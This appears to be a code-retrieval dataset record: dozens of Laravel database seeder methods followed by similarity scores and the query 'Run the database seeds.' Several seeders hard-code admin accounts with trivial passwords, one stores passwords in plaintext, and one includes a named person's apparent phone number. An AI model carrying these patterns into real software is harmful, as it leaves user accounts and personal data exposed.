\\App\\Models\\Comment::factory(40)->create();\n\n \\App\\Models\\User::create([\n \"name\"=>\"Alice\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n \\App\\Models\\User::create([\n \"name\"=>\"Bob\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n }", "public function run()\n {\n /** \n * Note: You must add these lines to your .env file for this Seeder to work (replace the values, obviously):\n SEEDER_USER_FIRST_NAME = 'Firstname'\n SEEDER_USER_LAST_NAME = 'Lastname'\n\t\tSEEDER_USER_DISPLAY_NAME = 'Firstname Lastname'\n\t\tSEEDER_USER_EMAIL = [email protected]\n SEEDER_USER_PASSWORD = yourpassword\n */\n\t\tDB::table('users')->insert([\n 'user_first_name' => env('SEEDER_USER_FIRST_NAME'),\n 'user_last_name' => env('SEEDER_USER_LAST_NAME'),\n 'user_name' => env('SEEDER_USER_DISPLAY_NAME'),\n\t\t\t'user_email' => env('SEEDER_USER_EMAIL'),\n 'user_status' => 1,\n \t'password' => Hash::make((env('SEEDER_USER_PASSWORD'))),\n 'permission_fk' => 1,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s')\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,3)->create()->each(\n \tfunction($user)\n \t{\n \t\t$user->questions()\n \t\t->saveMany(\n \t\t\tfactory(App\\Question::class, rand(2,6))->make()\n \t\t)\n ->each(function ($q) {\n $q->answers()->saveMany(factory(App\\Answer::class, rand(1,5))->make());\n })\n \t}\n );\n }\n}", "public function run()\n {\n $faker = Faker::create();\n\n // $this->call(UsersTableSeeder::class);\n\n DB::table('posts')->insert([\n 'id'=>str_random(1),\n 'user_id'=> str_random(1),\n 'title' => $faker->name,\n 'body' => $faker->safeEmail,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s'),\n ]);\n }", "public function run()\n\t{\n\t\tDB::table(self::TABLE_NAME)->delete();\n\n\t\tforeach (seed(self::TABLE_NAME) as $row)\n\t\t\t$records[] = [\n\t\t\t\t'id'\t\t\t\t=> $row->id,\n\t\t\t\t'created_at'\t\t=> $row->created_at ?? Carbon::now(),\n\t\t\t\t'updated_at'\t\t=> $row->updated_at ?? Carbon::now(),\n\n\t\t\t\t'sport_id'\t\t\t=> $row->sport_id,\n\t\t\t\t'gender_id'\t\t\t=> $row->gender_id,\n\t\t\t\t'tournamenttype_id'\t=> $row->tournamenttype_id ?? null,\n\n\t\t\t\t'name'\t\t\t\t=> $row->name,\n\t\t\t\t'external_id'\t\t=> $row->external_id ?? null,\n\t\t\t\t'is_top'\t\t\t=> $row->is_top ?? null,\n\t\t\t\t'logo'\t\t\t\t=> $row->logo ?? null,\n\t\t\t\t'position'\t\t\t=> $row->position ?? null,\n\t\t\t];\n\n\t\tinsert(self::TABLE_NAME, $records ?? []);\n\t}", "public function run()\n\t{\n\t\tDB::table('libros')->truncate();\n\n\t\t$faker = Faker\\Factory::create();\n\n\t\tfor ($i=0; $i < 10; $i++) { \n\t\t\tLibro::create([\n\n\t\t\t\t'titulo'\t\t=> $faker->text(40),\n\t\t\t\t'isbn'\t\t\t=> $faker->numberBetween(100,999),\n\t\t\t\t'precio'\t\t=> $faker->randomFloat(2,3,150),\n\t\t\t\t'publicado'\t\t=> $faker->numberBetween(0,1),\n\t\t\t\t'descripcion'\t=> $faker->text(400),\n\t\t\t\t'autor_id'\t\t=> $faker->numberBetween(1,3),\n\t\t\t\t'categoria_id'\t=> $faker->numberBetween(1,3)\n\n\t\t\t]);\n\t\t}\n\n\t\t// Uncomment the below to run the seeder\n\t\t// DB::table('libros')->insert($libros);\n\t}", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 10)->create()->each(function ($user) {\n // Seed the relation with 5 purchases\n // $videos = factory(App\\Video::class, 5)->make();\n // $user->videos()->saveMany($videos);\n // $user->videos()->each(function ($video){\n // \t$video->videometa()->save(factory(App\\VideoMeta::class)->make());\n // \t// :( \n // });\n factory(App\\User::class, 10)->create()->each(function ($user) {\n\t\t\t factory(App\\Video::class, 5)->create(['user_id' => $user->id])->each(function ($video) {\n\t\t\t \tfactory(App\\VideoMeta::class, 1)->create(['video_id' => $video->id]);\n\t\t\t // $video->videometa()->save(factory(App\\VideoMeta::class)->create(['video_id' => $video->id]));\n\t\t\t });\n\t\t\t});\n\n });\n }", "public function run()\n {\n // for($i=1;$i<11;$i++){\n // DB::table('post')->insert(\n // ['title' => 'Title'.$i,\n // 'post' => 'Post'.$i,\n // 'slug' => 'Slug'.$i]\n // );\n // }\n $faker = Faker\\Factory::create();\n \n for($i=1;$i<20;$i++){\n $dname = $faker->name;\n DB::table('post')->insert(\n ['title' => $dname,\n 'post' => $faker->text($maxNbChars = 200),\n 'slug' => str_slug($dname)]\n );\n }\n }", "public function run()\n {\n $this->call([\n CountryTableSeeder::class,\n ProvinceTableSeeder::class,\n TagTableSeeder::class\n ]);\n\n User::factory()->count(10)->create();\n Category::factory()->count(5)->create();\n Product::factory()->count(20)->create();\n Section::factory()->count(5)->create();\n Bundle::factory()->count(20)->create();\n\n $bundles = Bundle::all();\n // populate bundle-product table (morph many-to-many)\n Product::all()->each(function ($product) use ($bundles) {\n $product->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray(),\n ['default_quantity' => rand(1, 10)]\n );\n });\n // populate bundle-tags table (morph many-to-many)\n Tag::all()->each(function ($tag) use ($bundles) {\n $tag->bundles()->attach(\n $bundles->random(2)->pluck('id')->toArray()\n );\n });\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Contract::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Contract::create([\n 'serialnumbers' => $faker->numberBetween($min = 1000000, $max = 2000000),\n 'address' => $faker->address,\n 'landholder' => $faker->lastName,\n 'renter' => $faker->lastName,\n 'price' => $faker->numberBetween($min = 10000, $max = 50000),\n 'rent_start' => $faker->date($format = 'Y-m-d', $max = 'now'),\n 'rent_end' => $faker->date($format = 'Y-m-d', $max = 'now'),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker=Faker\\Factory::create();\n\n for($i=0;$i<100;$i++){\n \tApp\\Blog::create([\n \t\t'title' => $faker->catchPhrase,\n 'description' => $faker->text,\n 'showns' =>true\n \t\t]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0'); // TO PREVENT CHECKS FOR foreien key in seeding\n\n User::truncate();\n Category::truncate();\n Product::truncate();\n Transaction::truncate();\n\n DB::table('category_product')->truncate();\n\n User::flushEventListeners();\n Category::flushEventListeners();\n Product::flushEventListeners();\n Transaction::flushEventListeners();\n\n $usersQuantities = 1000;\n $categoriesQuantities = 30;\n $productsQuantities = 1000;\n $transactionsQuantities = 1000;\n\n factory(User::class, $usersQuantities)->create();\n factory(Category::class, $categoriesQuantities)->create();\n\n factory(Product::class, $productsQuantities)->create()->each(\n function ($product) {\n $categories = Category::all()->random(mt_rand(1, 5))->pluck('id');\n $product->categories()->attach($categories);\n });\n\n factory(Transaction::class, $transactionsQuantities)->create();\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n $this->call(PermissionsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n\n $this->call(BusinessTableSeeder::class);\n $this->call(PrinterTableSeeder::class);\n factory(App\\Tag::class,10)->create();\n factory(App\\Category::class,10)->create();\n factory(App\\Subcategory::class,50)->create();\n factory(App\\Provider::class,10)->create();\n factory(App\\Product::class,24)->create()->each(function($product){\n\n $product->images()->saveMany(factory(App\\Image::class, 4)->make());\n\n });\n\n\n factory(App\\Client::class,10)->create();\n }", "public function run()\n {\n Article::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Article::create([\n 'name' => $faker->sentence,\n 'sku' => $faker->paragraph,\n 'price' => $faker->number,\n ]);\n }\n }", "public function run()\n {\n Storage::deleteDirectory('public/products');\n Storage::makeDirectory('public/products');\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n $this->call(ProductSeeder::class);\n Order::factory(4)->create();\n Order_Detail::factory(4)->create();\n Size::factory(100)->create();\n }", "public function run()\n {\n $this->call(RolSeeder::class);\n\n $this->call(UserSeeder::class);\n Category::factory(4)->create();\n Doctor::factory(25)->create();\n Patient::factory(50)->create();\n Status::factory(3)->create();\n Appointment::factory(100)->create();\n }", "public function run()\n\t{\n\t\t\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n\t\t$faker = \\Faker\\Factory::create();\n\n\t\tTodolist::truncate();\n\n\t\tforeach(range(1, 50) as $index)\n\t\t{\n\n\t\t\t$user = User::create([\n\t\t\t\t'name' => $faker->name,\n\t\t\t\t'email' => $faker->email,\n\t\t\t\t'password' => 'password',\n\t\t\t\t'confirmation_code' => mt_rand(0, 9),\n\t\t\t\t'confirmation' => rand(0,1) == 1\n\t\t\t]);\n\n\t\t\t$list = Todolist::create([\n\t\t\t\t'name' => $faker->sentence(2),\n\t\t\t\t'description' => $faker->sentence(4),\n\t\t\t]);\n\n\t\t\t// BUILD SOME TASKS FOR EACH LIST ITEM\n\t\t\tforeach(range(1, 10) as $index) \n\t\t\t{\n\t\t\t\t$task = new Task;\n\t\t\t\t$task->name = $faker->sentence(2);\n\t\t\t\t$task->description = $faker->sentence(4);\n\t\t\t\t$list->tasks()->save($task);\n\t\t\t}\n\n\t\t}\n\n\t\tDB::statement('SET FOREIGN_KEY_CHECKS = 1'); \n\n\t}", "public function run()\n {\n Campus::truncate();\n Canteen::truncate();\n Dorm::truncate();\n\n $faker = Faker\\Factory::create();\n $schools = School::all();\n foreach ($schools as $school) {\n \tforeach (range(1, 2) as $index) {\n\t \t$campus = Campus::create([\n\t \t\t'school_id' => $school->id,\n\t \t\t'name' => $faker->word . '校区',\n\t \t\t]);\n\n \t$campus->canteens()->saveMany(factory(Canteen::class, mt_rand(2,3))->make());\n $campus->dorms()->saveMany(factory(Dorm::class, mt_rand(2,3))->make());\n\n }\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'seq_q'=>'1',\n 'seq_a'=>'admin'\n ]);\n\n // DB::table('bloods')->insert([\n // ['name' => 'A+'],\n // ['name' => 'A-'],\n // ['name' => 'B+'],\n // ['name' => 'B-'],\n // ['name' => 'AB+'],\n // ['name' => 'AB-'],\n // ['name' => 'O+'],\n // ['name' => 'O-'],\n // ]);\n\n \n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n \\App\\User::create([\n 'name'=>'PAPE SAMBA NDOUR',\n 'email'=>'[email protected]',\n 'password'=>bcrypt('Admin1122'),\n ]);\n\n $faker = Faker::create();\n\n for ($i = 0; $i < 100 ; $i++)\n {\n $firstName = $faker->firstName;\n $lastName = $faker->lastName;\n $niveau = \\App\\Niveau::inRandomOrder()->first();\n \\App\\Etudiant::create([\n 'prenom'=>$firstName,\n 'nom'=>$lastName,\n 'niveau_id'=>$niveau->id\n ]);\n }\n\n\n }", "public function run()\n {\n //\n DB::table('foods')->delete();\n\n Foods::create(array(\n 'name' => 'Chicken Wing',\n 'author' => 'Bambang',\n 'overview' => 'a deep-fried chicken wing, not in spicy sauce'\n ));\n\n Foods::create(array(\n 'name' => 'Beef ribs',\n 'author' => 'Frank',\n 'overview' => 'Slow baked beef ribs rubbed in spices'\n ));\n\n Foods::create(array(\n 'name' => 'Ice cream',\n 'author' => 'Lou',\n 'overview' => ' A sweetened frozen food typically eaten as a snack or dessert.'\n ));\n\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n News::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 10; $i++) {\n News::create([\n 'title' => $faker->sentence,\n 'summary' => $faker->sentence,\n 'content' => $faker->paragraph,\n 'imagePath' => '/img/exclamation_mark.png'\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class, 3)->create();\n factory(App\\Models\\Category::class, 3)\n ->create()\n ->each(function ($u) {\n $u->courses()->saveMany(factory(App\\Models\\Course::class,3)->make())->each(function ($c){\n $c->exams()->saveMany(factory(\\App\\Models\\Exam::class,3)->make())->each(function ($e){\n $e->questions()->saveMany(factory(\\App\\Models\\Question::class,4)->make())->each(function ($q){\n $q->answers()->saveMany(factory(\\App\\Models\\Answer::class,4)->make())->each(function ($a){\n $a->correctAnswer()->save(factory(\\App\\Models\\Correct_answer::class)->make());\n });\n });\n });\n });\n\n });\n\n }", "public function run()\n {\n \\DB::table('employees')->delete();\n\n $faker = \\Faker\\Factory::create('ja_JP');\n\n $role_id = ['1','2','3'];\n\n for ($i = 0; $i < 10; $i++) {\n \\App\\Models\\Employee::create([\n 'last_name' =>$faker->lastName() ,\n 'first_name' => $faker->firstName(),\n 'mail' => $faker->email(),\n 'password' => Hash::make( \"password.$i\"),\n 'birthday' => $faker->date($format='Y-m-d',$max='now'),\n 'role_id' => $faker->randomElement($role_id)\n ]);\n }\n }", "public function run()\n {\n\n DB::table('clients')->delete();\n DB::table('trips')->delete();\n error_log('empty tables done.');\n\n $random_cities = City::inRandomOrder()->select('ar_name')->limit(5)->get();\n $GLOBALS[\"random_cities\"] = $random_cities->pluck('ar_name')->toArray();\n\n $random_airlines = Airline::inRandomOrder()->select('code')->limit(5)->get();\n $GLOBALS[\"random_airlines\"] = $random_airlines->pluck('code')->toArray();\n\n factory(App\\Client::class, 5)->create();\n error_log('Client seed done.');\n\n\n factory(App\\Trip::class, 50)->create();\n error_log('Trip seed done.');\n\n\n factory(App\\Quicksearch::class, 10)->create();\n error_log('Quicksearch seed done.');\n }", "public function run()\n {\n // Admins\n User::factory()->create([\n 'name' => 'Zaiman Noris',\n 'username' => 'rognales',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n User::factory()->create([\n 'name' => 'Affiq Rashid',\n 'username' => 'affiqr',\n 'email' => '[email protected]',\n 'active' => true,\n ]);\n\n // Only seed test data in non-prod\n if (! app()->isProduction()) {\n Member::factory()->count(1000)->create();\n Staff::factory()->count(1000)->create();\n\n Participant::factory()\n ->addSpouse()\n ->addChildren()\n ->addInfant()\n ->addOthers()\n ->count(500)\n ->hasUploads(2)\n ->create();\n }\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n UserSeeder::class,\n ]);\n\n \\App\\Models\\Category::factory(4)->create();\n \\App\\Models\\View::factory(6)->create();\n \\App\\Models\\Room::factory(8)->create();\n \n $rooms = \\App\\Models\\Room::all();\n // \\App\\Models\\User::all()->each(function ($user) use ($rooms) { \n // $user->rooms()->attach(\n // $rooms->random(rand(1, \\App\\Models\\Room::max('id')))->pluck('id')->toArray()\n // ); \n // });\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n Employee::factory()->create(['email' => '[email protected]']);\n Brand::factory()->count(3)->create();\n $this->call([\n TagSeeder::class,\n AttributeSeeder::class,\n AttributeValueSeeder::class,\n ProductSeeder::class,\n ]);\n }", "public function run()\n {\n $this->call(RolesTableSeeder::class); // crée les rôles\n $this->call(PermissionsTableSeeder::class); // crée les permissions\n\n factory(Employee::class,3)->create();\n factory(Provider::class,1)->create();\n\n $user = User::create([\n 'name'=>'Alioune Bada Ndoye',\n 'email'=>'[email protected]',\n 'phone'=>'773012470',\n 'password'=>bcrypt('123'),\n ]);\n Employee::create([\n 'job'=>'Informaticien',\n 'user_id'=>User::where('email','[email protected]')->first()->id,\n 'point_id'=>Point::find(1)->id,\n ]);\n $user->assignRole('admin');\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(User::class, 1)\n \t->create(['email' => '[email protected]']);\n\n factory(Category::class, 5)->create();\n }", "public function run()\n {\n //$this->call(UsersTableSeeder::class);\n $this->call(rootSeed::class);\n factory(App\\Models\\Egresado::class,'hombre',15)->create();\n factory(App\\Models\\Egresado::class,'mujer',15)->create();\n factory(App\\Models\\Administrador::class,5)->create();\n factory(App\\Models\\Notificacion::class,'post',10)->create();\n factory(App\\Models\\Notificacion::class,'mensaje',5)->create();\n factory(App\\Models\\Egresado::class,'bajaM',5)->create();\n factory(App\\Models\\Egresado::class,'bajaF',5)->create();\n factory(App\\Models\\Egresado::class,'suscritam',5)->create();\n factory(App\\Models\\Egresado::class,'suscritaf',5)->create();\n }", "public function run()\n {\n \n User::factory(1)->create([\n 'rol'=>'EPS'\n ]);\n Person::factory(10)->create();\n $this->call(EPSSeeder::class);\n $this->call(OfficialSeeder::class);\n $this->call(VVCSeeder::class);\n $this->call(VaccineSeeder::class);\n }", "public function run()\n {\n // $faker=Faker::create();\n // foreach(range(1,100) as $index)\n // {\n // DB::table('products')->insert([\n // 'name' => $faker->name,\n // 'price' => rand(10,100000)/100\n // ]);\n // }\n }", "public function run()\n {\n $this->call([\n LanguagesTableSeeder::class,\n ListingAvailabilitiesTableSeeder::class,\n ListingTypesTableSeeder::class,\n RoomTypesTableSeeder::class,\n AmenitiesTableSeeder::class,\n UsersTableSeeder::class,\n UserLanguagesTableSeeder::class,\n ListingsTableSeeder::class,\n WishlistsTableSeeder::class,\n StaysTableSeeder::class,\n GuestsTableSeeder::class,\n TripsTableSeeder::class,\n ReviewsTableSeeder::class,\n RatingsTableSeeder::class,\n PopularDestinationsTableSeeder::class,\n ImagesTableSeeder::class,\n ]);\n\n // factory(App\\User::class, 5)->states('host')->create();\n // factory(App\\User::class, 10)->states('hostee')->create();\n\n // factory(App\\User::class, 10)->create();\n // factory(App\\Models\\Listing::class, 30)->create();\n }", "public function run()\n {\n Schema::disableForeignKeyConstraints();\n Grade::truncate();\n Schema::enableForeignKeyConstraints();\n\n $faker = \\Faker\\Factory::create();\n\n for ($i = 0; $i < 10; $i++) {\n Grade::create([\n 'letter' => $faker->randomElement(['а', 'б', 'в']),\n 'school_id' => $faker->unique()->numberBetween(1, School::count()),\n 'level' => 1\n ]);\n }\n }", "public function run()\n {\n // $this->call(UserSeeder::class);\n factory(App\\User::class,5)->create();//5 User created\n factory(App\\Model\\Genre::class,5)->create();//5 genres\n factory(App\\Model\\Film::class,6)->create();//6 films\n factory(App\\Model\\Comment::class, 20)->create();// 20 comments\n }", "public function run()\n {\n\n $this->call(UserSeeder::class);\n factory(Empresa::class,10)->create();\n factory(Empleado::class,50)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n User::create([\n 'name' => 'jose luis',\n 'email' => '[email protected]',\n 'password' => bcrypt('xxxxxx'),\n 'role' => 'admin',\n ]);\n\n Category::create([\n 'name' => 'inpods',\n 'description' => 'auriculares inalambricos que funcionan con blouthue genial'\n ]);\n\n Category::create([\n 'name' => 'other',\n 'description' => 'otra cosa diferente a un inpods'\n ]);\n\n\n /* Create 10 products */\n Product::factory(10)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Russell'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Bitfumes'\n ]);\n\n factory(User::class)->create([\n 'email' => '[email protected]',\n 'name' => 'Paul'\n ]);\n }", "public function run()\n {\n $user_ids = [1,2,3];\n $faker = app(\\Faker\\Generator::class);\n $posts = factory(\\App\\Post::class)->times(50)->make()->each(function($post) use ($user_ids,$faker){\n $post->user_id = $faker->randomElement($user_ids);\n });\n \\App\\Post::insert($posts->toArray());\n }", "public function run()\n {\n // Vaciar la tabla.\n Favorite::truncate();\n $faker = \\Faker\\Factory::create();\n // Crear artículos ficticios en la tabla\n\n // factory(App\\Models\\User::class, 2)->create()->each(function ($user) {\n // $user->users()->saveMany(factory(App\\Models\\User::class, 25)->make());\n //});\n }", "public function run()\n\t{\n\t\t$this->call(ProductsTableSeeder::class);\n\t\t$this->call(CategoriesTableSeeder::class);\n\t\t$this->call(BrandsTableSeeder::class);\n\t\t$this->call(ColorsTableSeeder::class);\n\n\t\t$products = \\App\\Product::all();\n \t$categories = \\App\\Category::all();\n \t$brands = \\App\\Brand::all();\n \t$colors = \\App\\Color::all();\n\n\t\tforeach ($products as $product) {\n\t\t\t$product->colors()->sync($colors->random(3));\n\n\t\t\t$product->category()->associate($categories->random(1)->first());\n\t\t\t$product->brand()->associate($brands->random(1)->first());\n\n\t\t\t$product->save();\n\t\t}\n\n\t\t// for ($i = 0; $i < count($products); $i++) {\n\t\t// \t$cat = $categories[rand(0,5)];\n\t\t// \t$bra = $brands[rand(0,7)];\n\t\t// \t$cat->products()->save($products[$i]);\n\t\t// \t$bra->products()->save($products[$i]);\n\t\t// }\n\n\t\t// $products = factory(App\\Product::class)->times(20)->create();\n\t\t// $categories = factory(App\\Category::class)->times(6)->create();\n\t\t// $brands = factory(App\\Brand::class)->times(8)->create();\n\t\t// $colors = factory(App\\Color::class)->times(15)->create();\n\t}", "public function run()\n {\n /*$this->call(UsersTableSeeder::class);\n $this->call(GroupsTableSeeder::class);\n $this->call(TopicsTableSeeder::class);\n $this->call(CommentsTableSeeder::class);*/\n DB::table('users')->insert([\n 'name' => 'pkw',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'type' => '1'\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker::create();\n foreach (range(1,200) as $index) {\n DB::table('users')->insert([\n 'name' => $faker->name,\n 'email' => $faker->email,\n 'phone' => $faker->randomDigitNotNull,\n 'address'=> $faker->streetAddress,\n 'password' => bcrypt('secret'),\n ]);\n }\n }", "public function run()\n {\n $this->call(UsersSeeder::class);\n User::factory(2)->create();\n Company::factory(2)->create();\n\n }", "public function run()\n {\n echo PHP_EOL , 'seeding roles...';\n\n Role::create(\n [\n 'name' => 'Admin',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Principal',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Teacher',\n 'deletable' => false,\n ]\n );\n\n Role::create(\n [\n 'name' => 'Student',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Parents',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Accountant',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Librarian',\n 'deletable' => false,\n ]\n );\n Role::create(\n [\n 'name' => 'Receptionist',\n 'deletable' => false,\n ]\n );\n\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->call(QuestionTableSeed::class);\n\n $this->call([\n QuestionTableSeed::class,\n AlternativeTableSeed::class,\n ScheduleActionTableSeeder::class,\n UserTableSeeder::class,\n CompanyClassificationTableSeed::class,\n ]);\n // DB::table('clients')->insert([\n // 'name' => 'Empresa-02',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('07.052.477/0001-60'),\n // ]);\n }", "public function run()\n {\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 5; $i++) {\n Runner::create([\n 'external_id' => $faker->uuid,\n 'name' => $faker->name,\n 'race_id' =>rand(1,5),\n 'age' => rand(30, 45),\n 'sex' => $faker->randomElement(['male', 'female']),\n 'color' => $faker->randomElement(['#ecbcb4', '#d1a3a4']),\n ]);\n }\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n\n User::factory()->create([\n 'name' => 'Carlos',\n 'email' => '[email protected]',\n 'email_verified_at' => now(),\n 'password' => bcrypt('123456'), // password\n 'remember_token' => Str::random(10),\n ]);\n \n $this->call([PostsTableSeeder::class]);\n $this->call([TagTableSeeder::class]);\n\n }", "public function run()\n {\n $this->call(AlumnoSeeder::class);\n //Alumnos::factory()->count(30)->create();\n //DB::table('alumnos')->insert([\n // 'dni_al' => '13189079',\n // 'nom_al' => 'Jose',\n // 'ape_al' => 'Araujo',\n // 'rep_al' => 'Principal',\n // 'esp_al' => 'Tecnologia',\n // 'lnac_al' => 'Valencia'\n //]);\n }", "public function run()\n {\n Eloquent::unguard();\n\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n\n // $this->call([\n // CountriesTableSeeder::class,\n // ]);\n\n factory(App\\User::class, 100)->create();\n factory(App\\Type::class, 10)->create();\n factory(App\\Item::class, 100)->create();\n factory(App\\Order::class, 1000)->create();\n\n $items = App\\Item::all();\n\n App\\Order::all()->each(function($order) use ($items) {\n\n $n = rand(1, 10);\n\n $order->items()->attach(\n $items->random($n)->pluck('id')->toArray()\n , ['quantity' => $n]);\n\n $order->total = $order->items->sum(function($item) {\n return $item->price * $item->pivot->quantity;\n });\n\n $order->save();\n\n });\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'izzanni',\n \n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'aina',\n\n ]\n );\n factory(User::class)->create(\n [\n 'email'=>'[email protected]',\n 'name'=>'sab',\n\n ]\n );\n }", "public function run()\n {\n\n factory('App\\Models\\Pessoa', 60)->create();\n factory('App\\Models\\Profissional', 10)->create();\n factory('App\\Models\\Paciente', 50)->create();\n $this->call(UsersTableSeeder::class);\n $this->call(ProcedimentoTableSeeder::class);\n // $this->call(PessoaTableSeeder::class);\n // $this->call(ProfissionalTableSeeder::class);\n // $this->call(PacienteTableSeeder::class);\n // $this->call(AgendaProfissionalTableSeeder::class);\n }", "public function run()\n {\n //Acá se define lo que el seeder va a hacer.\n //insert() para insertar datos.\n //Array asociativo. La llave es el nombre de la columna.\n// DB::table('users')->insert([\n// //Para un solo usuario.\n// 'name' => 'Pedrito Perez',\n// 'email' => '[email protected]',\n// 'password' => bcrypt('123456')\n// ]);//Se indica el nombre de la tabla.\n\n //Crea 50 usuarios (sin probar)\n// factory(App\\User::class, 50)->create()->each(function($u) {\n// $u->posts()->save(factory(App\\Post::class)->make());\n// });\n\n factory(App\\User::class, 10)->create(); //Así se ejecuta el model factory creado en ModelFactory.php\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //nhập liệu mẫu cho bảng users\n DB::table('users')->insert([\n \t['id'=>'1001', 'name'=>'Phan Thị Hiền', 'email'=>'[email protected]', 'password'=>'123456', 'isadmin'=>1],\n \t['id'=>'1002', 'name'=>'Phan Thị Hà', 'email'=>'[email protected]', 'password'=>'111111', 'isadmin'=>0]\n ]);\n\n\n //nhập liệu mẫu cho bảng suppliers\n DB::table('suppliers')->insert([\n \t['name'=>'FPT', 'address'=>'151 Hùng Vương, TP. Đà Nẵng', 'phonenum'=>'0971455395'],\n \t['name'=>'Điện Máy Xanh', 'address'=>'169 Phan Châu Trinh, TP. Đà Nẵng', 'phonenum'=>'0379456011']\n ]);\n\n\n //Bảng phiếu bảo hành\n }", "public function run()\n {\n \t// DB::table('categories')->truncate();\n // factory(App\\Models\\Category::class, 10)->create();\n Schema::disableForeignKeyConstraints();\n Category::truncate();\n $faker = Faker\\Factory::create();\n\n $categories = ['SAMSUNG','NOKIA','APPLE','BLACK BERRY'];\n foreach ($categories as $key => $value) {\n Category::create([\n 'name'=>$value,\n 'description'=> 'This is '.$value,\n 'markup'=> rand(10,100),\n 'category_id'=> null,\n 'UUID' => $faker->uuid,\n ]);\n }\n }" ]
[ "0.8013876", "0.79804534", "0.7976992", "0.79542726", "0.79511505", "0.7949612", "0.794459", "0.7942486", "0.7938189", "0.79368967", "0.79337025", "0.78924936", "0.78811055", "0.78790957", "0.78787595", "0.787547", "0.7871811", "0.78701615", "0.7851422", "0.7850352", "0.7841468", "0.7834583", "0.7827792", "0.7819104", "0.78088796", "0.7802872", "0.7802348", "0.78006834", "0.77989215", "0.7795819", "0.77903426", "0.77884805", "0.77862066", "0.7778816", "0.7777486", "0.7765202", "0.7762492", "0.77623445", "0.77621746", "0.7761383", "0.77606887", "0.77596676", "0.7757001", "0.7753607", "0.7749522", "0.7749292", "0.77466977", "0.7729947", "0.77289546", "0.772796", "0.77167094", "0.7714503", "0.77140456", "0.77132195", "0.771243", "0.77122366", "0.7711113", "0.77109736", "0.7710777", "0.7710086", "0.7705484", "0.770464", "0.7704354", "0.7704061", "0.77027386", "0.77020216", "0.77008796", "0.7698617", "0.76985973", "0.76973504", "0.7696405", "0.7694293", "0.7692694", "0.7691264", "0.7690576", "0.76882726", "0.7687433", "0.7686844", "0.7686498", "0.7685065", "0.7683827", "0.7679184", "0.7678287", "0.76776296", "0.76767945", "0.76726556", "0.76708084", "0.76690495", "0.766872", "0.76686716", "0.7666299", "0.76625943", "0.7662227", "0.76613766", "0.7659881", "0.7656644", "0.76539344", "0.76535016", "0.7652375", "0.7652313", "0.7652022" ]
0.0
-1
Run the database seeds.
